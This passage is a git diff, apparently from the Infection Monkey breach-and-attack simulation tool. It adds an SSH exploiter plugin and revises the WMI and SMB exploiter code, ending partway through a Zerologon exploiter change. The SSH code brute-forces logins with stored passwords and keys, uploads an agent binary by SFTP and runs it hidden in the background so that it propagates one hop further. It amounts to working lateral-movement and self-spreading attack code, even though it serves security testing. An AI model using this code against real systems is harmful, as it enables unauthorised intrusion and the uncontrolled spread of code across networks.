a/monkey/agent_plugins/exploiters/ssh/src/plugin.py b/monkey/agent_plugins/exploiters/ssh/src/plugin.py new file mode 100644 index 00000000000..530731c8971 --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/src/plugin.py @@ -0,0 +1,123 @@ +import logging +from functools import partial +from pprint import pformat +from typing import Any, Dict, Sequence + +# common imports +from common.credentials import Password, SSHKeypair, Username +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, Event +from common.utils.code_utils import del_key + +# dependencies to get rid of or internalize +from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider +from infection_monkey.exploit.tools import ( + BruteForceCredentialsProvider, + BruteForceExploiter, + all_tcp_ports_are_closed, + generate_brute_force_credentials, + identity_type_filter, + secret_type_filter, +) +from infection_monkey.exploit.tools.helpers import get_agent_dst_path +from infection_monkey.i_puppet import ExploiterResult, TargetHost +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository + +from .ssh_command_builder import build_ssh_command +from .ssh_options import SSHOptions +from .ssh_remote_access_client import SSH_PORTS +from .ssh_remote_access_client_factory import SSHRemoteAccessClientFactory + +logger = logging.getLogger(__name__) + + +def should_attempt_exploit(host: TargetHost) -> bool: + return not all_tcp_ports_are_closed(host, SSH_PORTS) + + +class Plugin: + def __init__( + self, + *, + plugin_name: str, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + agent_binary_repository: IAgentBinaryRepository, + propagation_credentials_repository: IPropagationCredentialsRepository, + otp_provider: IAgentOTPProvider, + **kwargs, + ): + self._plugin_name = plugin_name + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + self._agent_binary_repository = agent_binary_repository + credentials_generator = partial( + generate_brute_force_credentials, + identity_filter=identity_type_filter([Username]), + secret_filter=secret_type_filter([Password, SSHKeypair]), + ) + self._credentials_provider = BruteForceCredentialsProvider( + credentials_repository=propagation_credentials_repository, + generate_brute_force_credentials=credentials_generator, + ) + self._otp_provider = otp_provider + + def run( + self, + *, + host: TargetHost, + servers: Sequence[str], + current_depth: int, + options: Dict[str, Any], + interrupt: Event, + **kwargs, + ) -> ExploiterResult: + # HTTP ports options are hack because they are needed in fingerprinters + del_key(options, "http_ports") + + try: + logger.debug(f"Parsing options: {pformat(options)}") + ssh_options = SSHOptions(**options) + except Exception as err: + msg = f"Failed to parse SSH options: {err}" + logger.exception(msg) + return ExploiterResult(error_message=msg) + + if not should_attempt_exploit(host): + msg = f"Host {host.ip} has no open SSH ports" + logger.debug(msg) + return ExploiterResult( + exploitation_success=False, propagation_success=False, error_message=msg + ) + + command_builder = partial( + build_ssh_command, + agent_id=self._agent_id, + target_host=host, + servers=servers, + current_depth=current_depth, + otp_provider=self._otp_provider, + ) + + ssh_exploit_client_factory = SSHRemoteAccessClientFactory( + host=host, options=ssh_options, command_builder=command_builder + ) + + brute_force_exploiter = BruteForceExploiter( + exploiter_name=self._plugin_name, + agent_id=self._agent_id, + destination_path=get_agent_dst_path(host), + exploit_client_factory=ssh_exploit_client_factory, + get_credentials=self._credentials_provider, + agent_binary_repository=self._agent_binary_repository, + agent_event_publisher=self._agent_event_publisher, + tags={"ssh-exploiter"}, + ) + + try: + logger.debug(f"Running SSH exploiter on host {host.ip}") + return brute_force_exploiter.exploit_host(host, interrupt) + except Exception as err: + msg = f"An unexpected exception occurred while attempting to exploit host: {err}" + logger.exception(msg) + return ExploiterResult(error_message=msg) diff --git a/monkey/agent_plugins/exploiters/ssh/src/ssh_client.py b/monkey/agent_plugins/exploiters/ssh/src/ssh_client.py new file mode 100644 index 00000000000..559cb87bb04 --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/src/ssh_client.py @@ -0,0 +1,216 @@ +import io +import logging +from functools import partial +from pathlib import PurePath +from typing import Optional, Protocol + +import paramiko + +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT +from common.credentials import Credentials, Password, SSHKeypair, Username, get_plaintext +from common.types import NetworkPort +from infection_monkey.i_puppet import TargetHost + +logger = logging.getLogger(__name__) + +SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT +SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT + + +class SSHConnectFunction(Protocol): + def __call__( + self, *, client: paramiko.SSHClient, host: TargetHost, port: NetworkPort, timeout: float + ) -> None: + ... + + +class SSHClient: + def __init__(self): + self._client = None + self._authenticated = False + self._percent_transferred_log_target = 0.1 + + def connect( + self, host: TargetHost, credentials: Credentials, port: NetworkPort, timeout: float + ): + """ + Connect to the host using SSH + + Credentials may be a username and password, or a username and private key. + + :param host: Host to connect to + :param credentials: Credentials to use for the connection + :param port: Port to connect to + :param timeout: Timeout for the connection, in seconds + :raises Exception: If the connection could not be established + """ + + connect_function = self._get_ssh_connection_function(credentials) + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.WarningPolicy()) + + try: + connect_function(client=client, host=host, port=port, timeout=timeout) + logger.debug(f"Successfully authenticated using SSH on host: {host.ip}") + except Exception as err: + client.close() + raise err + + self._client = client + self._authenticated = True + + def _get_ssh_connection_function(self, credentials: Credentials) -> SSHConnectFunction: + if isinstance(credentials.identity, Username): + username = credentials.identity.username + else: + message = "Unrecognised credential identity type" + logger.debug(message) + raise ValueError(message) + + if isinstance(credentials.secret, SSHKeypair): + connect_function = partial( + self._connect_with_private_key, + username=username, + private_key=credentials.secret.private_key, + ) + elif isinstance(credentials.secret, Password): + connect_function = partial( + self._connect_with_password, + username=username, + password=credentials.secret.password, + ) + else: + message = "Unrecognised credential secret type" + logger.debug(message) + raise ValueError(message) + + return connect_function + + def _connect_with_private_key( + self, + client: paramiko.SSHClient, + host: TargetHost, + username: Optional[Username], + private_key: str, + port: NetworkPort, + timeout: float, + ): + try: + private_key_buffer = io.StringIO(get_plaintext(private_key)) + private_key_object = paramiko.RSAKey.from_private_key(private_key_buffer) + except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException) as err: + logger.error("Failed reading SSH key") + raise err + + try: + client.connect( + str(host.ip), + username=username, + pkey=private_key_object, + port=int(port), + timeout=timeout, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + channel_timeout=SSH_CHANNEL_TIMEOUT, + allow_agent=False, + ) + logger.debug( + f"Successfully logged into {host.ip} using {username}@{host.ip} user's private key" + ) + except paramiko.AuthenticationException as err: + error_message = ( + f"Failed logging into victim {host.ip} with {username}@{host.ip} user's" + f"private key: {err}" + ) + logger.info(error_message) + raise err + except Exception as err: + error_message = ( + f"Unexpected error while attempting to login to {username}@{host.ip} with SSH key: " + f"{err}" + ) + logger.error(error_message) + raise err + + def _connect_with_password( + self, + client: paramiko.SSHClient, + host: TargetHost, + username: Optional[Username], + password: str, + port: NetworkPort, + timeout: float, + ): + try: + client.connect( + str(host.ip), + username=username, + password=get_plaintext(password), + port=int(port), + timeout=timeout, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + channel_timeout=SSH_CHANNEL_TIMEOUT, + allow_agent=False, + ) + logger.debug(f"Successfully logged in {host.ip}, User: {username}") + except paramiko.AuthenticationException as err: + error_message = f"Failed logging into victim {host.ip} with user: {username}: {err}" + raise err + except Exception as err: + error_message = ( + f"Unexpected error while attempting to login to {host.ip} with password: " f"{err}" + ) + logger.debug(error_message) + raise err + + def copy_file( + self, + file: bytes, + destination_path: PurePath, + ): + """ + Copy a file to the remote host using SFTP + + :param file: File to copy + :param destination_path: File destination path on the remote host + :raises Exception: If the file copy failed + """ + self._percent_transferred_log_target = 0.1 + + try: + with self._client.open_sftp() as sftp: # type: ignore [union-attr] + sftp.putfo( + io.BytesIO(file), + str(destination_path), + file_size=len(file), + callback=self._log_transfer, + ) + sftp.chmod(str(destination_path), 0o700) + except Exception as err: + error_message = f"Error uploading file: ({err})" + logger.error(error_message) + raise err + + def _log_transfer(self, transferred: int, total: int): + if (transferred / total) > self._percent_transferred_log_target: + logger.debug(f"SFTP transferred: {transferred} bytes, total: {total} bytes") + self._percent_transferred_log_target += 0.1 + + def execute_command(self, command: str) -> bytes: + """ + Execute a command on the remote host + + :param command: Command to execute + :raises Exception: If the command execution failed + :return: The command output + """ + _, stdout, _ = self._client.exec_command( # type: ignore [union-attr] + command=command, timeout=SSH_EXEC_TIMEOUT + ) + return stdout + + def connected(self) -> bool: + return self._authenticated diff --git a/monkey/agent_plugins/exploiters/ssh/src/ssh_command_builder.py b/monkey/agent_plugins/exploiters/ssh/src/ssh_command_builder.py new file mode 100644 index 00000000000..3c389114b8c --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/src/ssh_command_builder.py @@ -0,0 +1,32 @@ +from pathlib import PurePath +from typing import Sequence + +from common.types import AgentID +from infection_monkey.exploit import IAgentOTPProvider +from infection_monkey.i_puppet import TargetHost +from infection_monkey.model import MONKEY_ARG +from infection_monkey.utils.commands import build_monkey_commandline_parameters, build_run_command + + +def build_ssh_command( + agent_id: AgentID, + target_host: TargetHost, + servers: Sequence[str], + current_depth: int, + remote_agent_binary_destination_path: PurePath, + otp_provider: IAgentOTPProvider, +) -> str: + otp = otp_provider.get_otp() + cmdline_arguments = build_monkey_commandline_parameters( + parent=agent_id, servers=servers, depth=current_depth + 1 + ) + run_command = build_run_command( + target_host=target_host, + otp=otp, + dst=remote_agent_binary_destination_path, + args=[MONKEY_ARG, *cmdline_arguments], + ) + + cmdline = f"{run_command} > /dev/null 2>&1 &" + + return cmdline diff --git a/monkey/agent_plugins/exploiters/ssh/src/ssh_options.py b/monkey/agent_plugins/exploiters/ssh/src/ssh_options.py new file mode 100644 index 00000000000..cc7e019bf81 --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/src/ssh_options.py @@ -0,0 +1,12 @@ +from pydantic import Field + +from common.base_models import InfectionMonkeyBaseModel + + +class SSHOptions(InfectionMonkeyBaseModel): + connect_timeout: float = Field( + default=15.0, + gt=0.0, + le=100.0, + description="The maximum time (in seconds) to wait to establish an SSH connection.", + ) diff --git a/monkey/agent_plugins/exploiters/ssh/src/ssh_remote_access_client.py b/monkey/agent_plugins/exploiters/ssh/src/ssh_remote_access_client.py new file mode 100644 index 00000000000..b1e8ca92721 --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/src/ssh_remote_access_client.py @@ -0,0 +1,101 @@ +import logging +from pathlib import PurePath +from typing import Callable, Collection, Set, Type + +from common import OperatingSystem +from common.agent_events import AgentEventTag +from common.credentials import Credentials +from common.tags import ( + BRUTE_FORCE_T1110_TAG, + COMMAND_AND_SCRIPTING_INTERPRETER_T1059_TAG, + FILE_AND_DIRECTORY_PERMISSIONS_MODIFICATION_T1222_TAG, + INGRESS_TOOL_TRANSFER_T1105_TAG, + REMOTE_SERVICES_T1021_TAG, +) +from common.types import NetworkPort +from infection_monkey.exploit.tools import ( + IRemoteAccessClient, + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) +from infection_monkey.i_puppet import TargetHost + +from .ssh_client import SSHClient +from .ssh_options import SSHOptions + +logger = logging.getLogger(__name__) +LOGIN_TAGS = {BRUTE_FORCE_T1110_TAG, REMOTE_SERVICES_T1021_TAG} +COPY_FILE_TAGS = { + FILE_AND_DIRECTORY_PERMISSIONS_MODIFICATION_T1222_TAG, + INGRESS_TOOL_TRANSFER_T1105_TAG, + REMOTE_SERVICES_T1021_TAG, +} +EXECUTION_TAGS = {COMMAND_AND_SCRIPTING_INTERPRETER_T1059_TAG, REMOTE_SERVICES_T1021_TAG} + +SSH_PORTS = [NetworkPort(22)] + + +class SSHRemoteAccessClient(IRemoteAccessClient): + def __init__( + self, + host: TargetHost, + options: SSHOptions, + build_command: Callable[[PurePath], str], + ssh_client: SSHClient, + ): + self._host = host + self._options = options + self._build_command = build_command + self._ssh_client = ssh_client + + def login(self, credentials: Credentials, tags: Set[AgentEventTag]): + tags.update(LOGIN_TAGS) + + try: + for port in SSH_PORTS: + self._ssh_client.connect( + self._host, credentials, port, timeout=self._options.connect_timeout + ) + except Exception as err: + error_message = f"Failed to authenticate over SSH with {credentials}: {err}" + raise RemoteAuthenticationError(error_message) + + def _raise_if_not_authenticated(self, error_type: Type[Exception]): + if not self._ssh_client.connected(): + raise error_type( + "This operation cannot be performed until authentication is successful" + ) + + def get_os(self) -> OperatingSystem: + return OperatingSystem.LINUX + + def execute_agent(self, agent_binary_path: PurePath, tags: Set[AgentEventTag]): + self._raise_if_not_authenticated(RemoteCommandExecutionError) + + tags.update(EXECUTION_TAGS) + + try: + self._ssh_client.execute_command( + self._build_command(remote_agent_binary_destination_path=agent_binary_path) + ) + except Exception as err: + raise RemoteCommandExecutionError(err) + + def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[AgentEventTag]): + self._raise_if_not_authenticated(RemoteFileCopyError) + + logger.debug( + f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" + ) + + logger.info(f"Attempting to copy the monkey agent binary to {self._host.ip}") + tags.update(COPY_FILE_TAGS) + + try: + self._ssh_client.copy_file(file, destination_path) + except Exception as err: + raise RemoteFileCopyError(f"Failed to copy the agent binary to the victim: {err}") + + def get_writable_paths(self) -> Collection[PurePath]: + return [] diff --git a/monkey/agent_plugins/exploiters/ssh/src/ssh_remote_access_client_factory.py b/monkey/agent_plugins/exploiters/ssh/src/ssh_remote_access_client_factory.py new file mode 100644 index 00000000000..b8621a0fa2f --- /dev/null +++ b/monkey/agent_plugins/exploiters/ssh/src/ssh_remote_access_client_factory.py @@ -0,0 +1,24 @@ +from pathlib import PurePath +from typing import Any, Callable + +from infection_monkey.exploit.tools import IRemoteAccessClientFactory +from infection_monkey.i_puppet import TargetHost + +from .ssh_client import SSHClient +from .ssh_options import SSHOptions +from .ssh_remote_access_client import SSHRemoteAccessClient + + +class SSHRemoteAccessClientFactory(IRemoteAccessClientFactory): + def __init__( + self, + host: TargetHost, + options: SSHOptions, + command_builder: Callable[[PurePath], str], + ): + self._host = host + self._options = options + self._command_builder = command_builder + + def create(self, **kwargs: Any) -> SSHRemoteAccessClient: + return SSHRemoteAccessClient(self._host, self._options, self._command_builder, SSHClient()) diff --git a/monkey/agent_plugins/exploiters/wmi/manifest.yaml b/monkey/agent_plugins/exploiters/wmi/manifest.yaml index a85a78b407b..999ace35f47 100644 --- a/monkey/agent_plugins/exploiters/wmi/manifest.yaml +++ b/monkey/agent_plugins/exploiters/wmi/manifest.yaml @@ -6,7 +6,7 @@ supported_operating_systems: target_operating_systems: - windows title: WMI Exploiter -version: 1.0.0 +version: 1.1.0 description: Attempts a brute-force attack against WMI using known credentials. safe: true remediation_suggestion: >- diff --git a/monkey/agent_plugins/exploiters/wmi/src/plugin.py b/monkey/agent_plugins/exploiters/wmi/src/plugin.py index 5ad676e7d5e..76136a61d47 100644 --- a/monkey/agent_plugins/exploiters/wmi/src/plugin.py +++ b/monkey/agent_plugins/exploiters/wmi/src/plugin.py @@ -20,7 +20,7 @@ secret_type_filter, ) from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .wmi_command_builder import build_wmi_command @@ -72,7 +72,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: + ) -> ExploiterResult: # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") @@ -82,12 +82,12 @@ def run( except Exception as err: msg = f"Failed to parse WMI options: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) if not should_attempt_exploit(host): msg = f"Host {host.ip} has no open WMI ports" logger.debug(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) @@ -120,4 +120,4 @@ def run( except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) diff --git a/monkey/agent_plugins/exploiters/wmi/src/smb_client.py b/monkey/agent_plugins/exploiters/wmi/src/smb_client.py index 8077d243e1f..eddfbdd2e74 100644 --- a/monkey/agent_plugins/exploiters/wmi/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/wmi/src/smb_client.py @@ -6,7 +6,7 @@ from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.smbconnection import SMB_DIALECT, SessionError, SMBConnection +from impacket.smbconnection import SessionError, SMBConnection from common.credentials import Credentials, LMHash, NTHash, Password from common.types import NetworkPort @@ -69,7 +69,8 @@ def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: if self._logout_guest(): raise Exception("Logged in as guest") - def _get_smb_connection(self) -> SMBConnection: + @property + def _established_smb_connection(self) -> SMBConnection: if not self._smb_connection: raise Exception("SMB connection not established") return self._smb_connection @@ -77,8 +78,10 @@ def _get_smb_connection(self) -> SMBConnection: def _create_smb_connection(self, host: TargetHost): """Connect to host over SMB. Raise Exception if connection fails""" try: + # preferredDialect should be kept as None to choose the correct SMB version + # For more context check https://github.com/guardicore/monkey/issues/3577 self._smb_connection = SMBConnection( - str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT + str(host.ip), str(host.ip), sess_port=445, preferredDialect=None ) return except SessionError as err: @@ -96,13 +99,21 @@ def _create_smb_connection(self, host: TargetHost): def _smb_login(self, credentials: Credentials): """Raise SessionError if login fails""" - self._get_smb_connection().login( + self._established_smb_connection.login( user=credentials.identity.username, domain="", **self._build_args_for_secrets(credentials), ) + self._log_smb_dialect() self._authenticated = True - self._authenticated_credentials = self._get_smb_connection().getCredentials() + self._authenticated_credentials = self._established_smb_connection.getCredentials() + + def _log_smb_dialect(self): + try: + smb_dialect = self._established_smb_connection.getDialect() + logger.debug(f"SMB dialect is: {smb_dialect}") + except Exception as err: + logger.debug(f"Exception occured retrieving SMB dialect: {err}") @staticmethod def _build_args_for_secrets(credentials: Credentials) -> Dict[str, str]: @@ -122,7 +133,7 @@ def _build_args_for_secrets(credentials: Credentials) -> Dict[str, str]: def _logout_guest(self): """Return True if logged in as guest. Raise SessionError if logout fails""" - smb_connection = self._get_smb_connection() + smb_connection = self._established_smb_connection if smb_connection.isGuestSession() > 0: smb_connection.logoff() return True @@ -135,7 +146,7 @@ def connect_to_share(self, share_name: str): :param share_name: Name of the SMB share to connect to :raises SessionError: If an error occurred while connecting to share """ - self._get_smb_connection().connectTree(share_name) + self._established_smb_connection.connectTree(share_name) def query_shared_resources(self) -> Tuple[ShareInfo, ...]: """ @@ -167,7 +178,7 @@ def _execute_rpc_call(self, rpc_func, *args) -> Any: :param rpc_func: Helpers' RPC function :raises SessionError: If an error occurs while executing an RPC call """ - smb_connection = self._get_smb_connection() + smb_connection = self._established_smb_connection rpc_transport = transport.SMBTransport( smb_connection.getRemoteHost(), smb_connection.getRemoteHost(), @@ -242,7 +253,7 @@ def _rpc_connect( # Try to use the existing SMB connection try: smb_transport = transport.SMBTransport( - self._get_smb_connection().getRemoteName(), + self._established_smb_connection.getRemoteName(), filename="\\svcctl", smb_connection=self._smb_connection, ) @@ -297,7 +308,7 @@ def send_file(self, share_name: str, path_name: PureWindowsPath, file: bytes): :raises Exception: If an error occurred while sending the file """ file_io = BytesIO(file) - self._get_smb_connection().putFile(share_name, str(path_name), file_io.read) + self._established_smb_connection.putFile(share_name, str(path_name), file_io.read) def set_timeout(self, timeout: float): """ @@ -306,4 +317,4 @@ def set_timeout(self, timeout: float): :param timeout: Connection timeout, in seconds :raises Exception: If an error occurs """ - self._get_smb_connection().setTimeout(timeout) + self._established_smb_connection.setTimeout(timeout) diff --git a/monkey/agent_plugins/exploiters/wmi/src/smb_remote_access_client.py b/monkey/agent_plugins/exploiters/wmi/src/smb_remote_access_client.py index 949d9ec67a6..c574650e700 100644 --- a/monkey/agent_plugins/exploiters/wmi/src/smb_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/wmi/src/smb_remote_access_client.py @@ -3,6 +3,7 @@ from typing import Callable, List, Set, Tuple, Type from common import OperatingSystem +from common.agent_events import AgentEventTag from common.credentials import Credentials from common.tags import ( BRUTE_FORCE_T1110_TAG, @@ -61,7 +62,7 @@ def __init__( self._command_builder = command_builder self._smb_client = smb_client - def login(self, credentials: Credentials, tags: Set[str]): + def login(self, credentials: Credentials, tags: Set[AgentEventTag]): tags.update(LOGIN_TAGS) try: @@ -81,7 +82,7 @@ def _raise_if_not_authenticated(self, error_type: Type[Exception]): def get_os(self) -> OperatingSystem: return OperatingSystem.WINDOWS - def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): + def execute_agent(self, agent_binary_path: PurePath, tags: Set[AgentEventTag]): self._raise_if_not_authenticated(RemoteCommandExecutionError) try: @@ -96,7 +97,7 @@ def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): except Exception as err: raise RemoteCommandExecutionError(err) - def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): + def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[AgentEventTag]): self._raise_if_not_authenticated(RemoteFileCopyError) logger.debug( @@ -139,7 +140,7 @@ def _query_shares(self) -> Tuple[ShareInfo, ...]: return tuple(writable_shares) def _copy_file_to_share( - self, file: bytes, share: ShareInfo, destination_path: PurePath, tags: Set[str] + self, file: bytes, share: ShareInfo, destination_path: PurePath, tags: Set[AgentEventTag] ): self._connect_to_share(share) self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) diff --git a/monkey/agent_plugins/exploiters/wmi/src/wmi_client.py b/monkey/agent_plugins/exploiters/wmi/src/wmi_client.py index 82fcbcfb078..1e9024242b7 100644 --- a/monkey/agent_plugins/exploiters/wmi/src/wmi_client.py +++ b/monkey/agent_plugins/exploiters/wmi/src/wmi_client.py @@ -1,3 +1,4 @@ +import logging from typing import Optional from impacket.dcerpc.v5.dcom import wmi @@ -8,6 +9,8 @@ from common.credentials import Credentials, LMHash, NTHash, Password from infection_monkey.i_puppet import TargetHost +logger = logging.getLogger(__name__) + def secret_of_type(credentials, type) -> Optional[SecretStr]: if type is Password and isinstance(credentials.secret, Password): @@ -30,6 +33,7 @@ class WMIClient: def __init__(self): self._wbem_services: Optional[wmi.IWbemServices] = None self._connected = False + self._dcom: Optional[DCOMConnection] = None def connected(self) -> bool: return self._connected @@ -42,34 +46,41 @@ def login(self, host: TargetHost, credentials: Credentials): :param credentials: Credentials to use :raises Exception: If login fails """ - # Impacket has a hard-coded timeout of 30 seconds - dcom = DCOMConnection( - str(host.ip), - username=credentials.identity.username, - password=get_plaintext(secret_of_type(credentials, Password)), - domain=str(host.ip), - lmhash=get_plaintext(secret_of_type(credentials, LMHash)), - nthash=get_plaintext(secret_of_type(credentials, NTHash)), - oxidResolver=True, - ) - + # Impacket has a hard-coded timeout of 120 seconds try: - self._wbem_services = self._wbem_login(dcom) - except Exception as err: - dcom.disconnect() - raise err - - self._connected = True - - def _wbem_login(self, dcom: DCOMConnection) -> wmi.IWbemServices: - iface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) - iWbemLevel1Login = wmi.IWbemLevel1Login(iface) + self._dcom = DCOMConnection( + str(host.ip), + username=credentials.identity.username, # type: ignore[union-attr] + password=get_plaintext(secret_of_type(credentials, Password)), + domain=str(host.ip), + lmhash=get_plaintext(secret_of_type(credentials, LMHash)), + nthash=get_plaintext(secret_of_type(credentials, NTHash)), + oxidResolver=True, + ) + iInterface = self._dcom.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) + except Exception: + try: + self._dcom.disconnect() # type: ignore[union-attr] + except KeyError: + logger.exception("Disconnecting the DCOMConnection failed") + + raise + + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: - return iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + self._wbem_services = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + except Exception: + self._dcom.disconnect() + + raise finally: iWbemLevel1Login.RemRelease() + self._connected = True + def execute_remote_process(self, command, path) -> bool: """ Execute a process on the remote host @@ -86,3 +97,27 @@ def execute_remote_process(self, command, path) -> bool: # not need to use the dropper at all. result = win32_process.Create(command, path, None) return (result.ProcessId != 0) and (result.ReturnValue == 0) + + def __del__(self): + if self._wbem_services: + self._wbem_services.RemRelease() + self._wbem_services = None + + if self._dcom: + self._dcom.disconnect() + self._dcom = None + WMIClient._dcom_cleanup() + + @staticmethod + def _dcom_cleanup(): + for port_map in list(DCOMConnection.PORTMAPS.keys()): + del DCOMConnection.PORTMAPS[port_map] + for oid_set in list(DCOMConnection.OID_SET.keys()): + del DCOMConnection.OID_SET[oid_set] + + DCOMConnection.OID_SET = {} + DCOMConnection.PORTMAPS = {} + if DCOMConnection.PINGTIMER: + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None diff --git a/monkey/agent_plugins/exploiters/wmi/src/wmi_command_builder.py b/monkey/agent_plugins/exploiters/wmi/src/wmi_command_builder.py index 5e4ecb0b58e..d432ad3ee6f 100644 --- a/monkey/agent_plugins/exploiters/wmi/src/wmi_command_builder.py +++ b/monkey/agent_plugins/exploiters/wmi/src/wmi_command_builder.py @@ -1,7 +1,6 @@ from pathlib import PurePath from typing import Sequence -from common import OperatingSystem from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.types import AgentID from infection_monkey.exploit import IAgentOTPProvider @@ -13,14 +12,10 @@ def build_wmi_command( agent_id: AgentID, servers: Sequence[str], current_depth: int, - operating_system: OperatingSystem, remote_agent_binary_full_path: PurePath, remote_agent_binary_destination_path: PurePath, otp_provider: IAgentOTPProvider, ) -> str: - if operating_system != OperatingSystem.WINDOWS: - raise Exception(f"Unsupported operating system: {operating_system}") - otp = SET_OTP_WINDOWS % { "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, "agent_otp": otp_provider.get_otp(), diff --git a/monkey/agent_plugins/exploiters/wmi/src/wmi_remote_access_client.py b/monkey/agent_plugins/exploiters/wmi/src/wmi_remote_access_client.py index de0f9a8274c..9cdde94bd32 100644 --- a/monkey/agent_plugins/exploiters/wmi/src/wmi_remote_access_client.py +++ b/monkey/agent_plugins/exploiters/wmi/src/wmi_remote_access_client.py @@ -3,6 +3,7 @@ from typing import Callable, Collection, Set from common import OperatingSystem +from common.agent_events import AgentEventTag from common.credentials import Credentials from common.tags import ( BRUTE_FORCE_T1110_TAG, @@ -48,7 +49,7 @@ def __init__( self, host: TargetHost, options: WMIOptions, - command_builder: Callable[[OperatingSystem, PurePath], str], + command_builder: Callable[[PurePath], str], smb_client: SMBRemoteAccessClient, wmi_client: WMIClient, ): @@ -58,30 +59,30 @@ def __init__( self._smb_client = smb_client self._wmi_client = wmi_client - def login(self, credentials: Credentials, tags: Set[str]): + def login(self, credentials: Credentials, tags: Set[AgentEventTag]): tags.update(LOGIN_TAGS) try: - self._wmi_client.login(self._host, credentials) self._smb_client.login(credentials, tags) + self._wmi_client.login(self._host, credentials) except Exception as err: raise RemoteAuthenticationError from err def get_os(self) -> OperatingSystem: return OperatingSystem.WINDOWS - def execute_agent(self, agent_binary_path: PurePath, tags: Set[str]): + def execute_agent(self, agent_binary_path: PurePath, tags: Set[AgentEventTag]): if not self._wmi_client.connected(): raise RemoteCommandExecutionError("WMI client is not connected") try: tags.update(EXECUTION_TAGS) - command = self._build_command(self.get_os(), agent_binary_path) + command = self._build_command(agent_binary_path) self._wmi_client.execute_remote_process(command, str(agent_binary_path.parent)) except Exception as err: raise RemoteCommandExecutionError from err - def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): + def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[AgentEventTag]): self._smb_client.copy_file(file, destination_path, tags) def get_writable_paths(self) -> Collection[PurePath]: diff --git a/monkey/agent_plugins/exploiters/wmi/src/wmi_remote_access_client_factory.py b/monkey/agent_plugins/exploiters/wmi/src/wmi_remote_access_client_factory.py index f5da3dc7190..df37cbe2f60 100644 --- a/monkey/agent_plugins/exploiters/wmi/src/wmi_remote_access_client_factory.py +++ b/monkey/agent_plugins/exploiters/wmi/src/wmi_remote_access_client_factory.py @@ -1,7 +1,6 @@ from pathlib import PurePath from typing import Any, Callable -from common import OperatingSystem from infection_monkey.exploit.tools import IRemoteAccessClientFactory from infection_monkey.i_puppet import TargetHost @@ -18,7 +17,7 @@ def __init__( self, host: TargetHost, options: WMIOptions, - command_builder: Callable[[OperatingSystem, PurePath], str], + command_builder: Callable[[PurePath], str], ): self._host = host self._options = options diff --git a/monkey/agent_plugins/exploiters/zerologon/manifest.yaml b/monkey/agent_plugins/exploiters/zerologon/manifest.yaml index 2cd915b4faf..90f1961c12a 100644 --- a/monkey/agent_plugins/exploiters/zerologon/manifest.yaml +++ b/monkey/agent_plugins/exploiters/zerologon/manifest.yaml @@ -6,7 +6,7 @@ supported_operating_systems: target_operating_systems: - windows title: Zerologon Exploiter -version: 1.0.0 +version: 1.0.2 description: >- Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows server domain controller (DC) by using the Netlogon Remote Protocol (MS-NRPC). diff --git a/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py b/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py index fa79a3eb815..6f1fcc952fc 100644 --- a/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py +++ 